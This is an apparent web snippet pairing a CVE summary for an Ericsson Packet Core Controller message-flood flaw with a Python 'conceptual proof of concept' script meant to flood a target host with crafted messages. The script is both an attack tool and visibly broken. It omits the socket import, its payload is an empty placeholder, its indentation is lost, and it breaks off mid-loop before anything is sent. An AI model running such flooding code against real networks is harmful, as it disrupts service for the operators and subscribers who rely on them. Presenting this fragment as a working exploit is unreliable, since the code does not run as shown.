Ericsson Packet Core Controller (PCC) versions prior
to 1.38 contain a vulnerability where an attacker sending a large volume of
specially crafted messages may cause service degradation.
The following code is for security research and authorized testing only.
python

import time
# Conceptual Proof of Concept for CVE-2024-53828
# This script simulates sending crafted messages to cause service degradation.
# Note: Actual protocol details depend on Ericsson PCC implementation.
def send_flood(target_ip, target_port, count):
"""
Sends a large volume of crafted messages to the target.
"""
# Example crafted payload (hex representation)
# This is a placeholder; real exploitation requires specific protocol structure.

try:
for i in range(count):
# Create a socket (SOCK_STREAM or SOCK_DGRAM depending on protocol)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)

s.connect((target_ip, target_port))
print(f"[+] Sending packet {i+1}/{count}")
